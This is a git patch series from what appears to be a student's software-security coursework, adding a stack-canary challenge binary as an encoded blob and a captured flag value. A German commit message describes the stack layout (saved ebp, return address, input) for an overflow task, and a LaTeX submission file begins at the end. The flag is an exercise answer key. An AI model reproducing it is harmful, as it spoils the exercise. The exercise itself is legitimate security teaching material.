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 W)%W<|4DU1C>m?_xELA0G9P&TjVGaEN literal 0 HcmV?d00001 diff --git a/Assignment 6 - Software Security - Teil 2/fake_canary/canary b/Assignment 6 - Software Security - Teil 2/fake_canary/canary new file mode 100755 index 0000000000000000000000000000000000000000..13576a83afc00bd4b47a9d217875309fde02ef4d GIT binary patch literal 15868 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
S%|9+VpE15o<>vBPc%nPln|F-?9Jto(6* zNZyS+Mau5i$WV6tzeYYLgJfCKj`SO_vg7}Ivc0>Ldex5++fKUB0Kl9>ij>`}$e=&k zasNYZMOu-v`wKFZ-F^-Ko58iruu0jy1I)c4hTpoI8?@qOo2em}`z!8}X~%uq%m2gf zEc6^R+HwEJJH2cO=L?DTavnSbW^<$+_H9GUta*SeNwkv;BV{KiN+ssLZ9}2i>5E}R zzx2m_LIdoG6{-Gm-$j2=OQPLPcAA1Z#g5?=2JFV*)K0=7CZ|r;`5#71R?9 literal 0 HcmV?d00001 diff --git a/Assignment 6 - Software Security - Teil 2/fake_canary/flag b/Assignment 6 - Software Security - Teil 2/fake_canary/flag new file mode 100644 index 0000000..de8da20 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/fake_canary/flag @@ -0,0 +1 @@ +flag{CANARY_IS_ALSO_AN_ISLAND} \ No newline at end of file -- 2.46.0 From 0d1dcf5b1e74d655dab0769ea5cf139300cafc44 Mon Sep 17 00:00:00 2001 From: Paul Zinselmeyer Date: Sun, 23 Jun 2024 11:57:12 +0200 Subject: [PATCH 08/16] [Assignment-6] Task 5 and 6 and flake change MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit In Task 5 ist sind noch vier Byte nicht benutzt, die laut Aufgabenstellung scheinbar vorgesehen sind. Mit padded_password, saved ebp, return address und input komme ich auf 36 Byte, in der vorgegebenen Tabelle ist aber Platz für 40. --- .../abgabe.tex | 176 ++++++++++++++++++ flake.nix | 1 + 2 files changed, 177 insertions(+) create mode 100644 Assignment 6 - Software Security - Teil 2/abgabe.tex diff --git a/Assignment 6 - Software Security - Teil 2/abgabe.tex b/Assignment 6 - Software Security - Teil 2/abgabe.tex new file mode 100644 index 0000000..d76bb29 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/abgabe.tex @@ -0,0 +1,176 @@ +\documentclass[11pt]{scrartcl} + +\usepackage[utf8]{inputenc} +\usepackage[T1]{fontenc} +\usepackage[ngerman]{babel} +\usepackage{lmodern} +\usepackage{graphicx} +\usepackage{listings} +\usepackage{xspace} +\usepackage{amsmath} +\usepackage{algorithm} +\usepackage{algpseudocode} +\usepackage{xifthen} +\usepackage{xcolor} 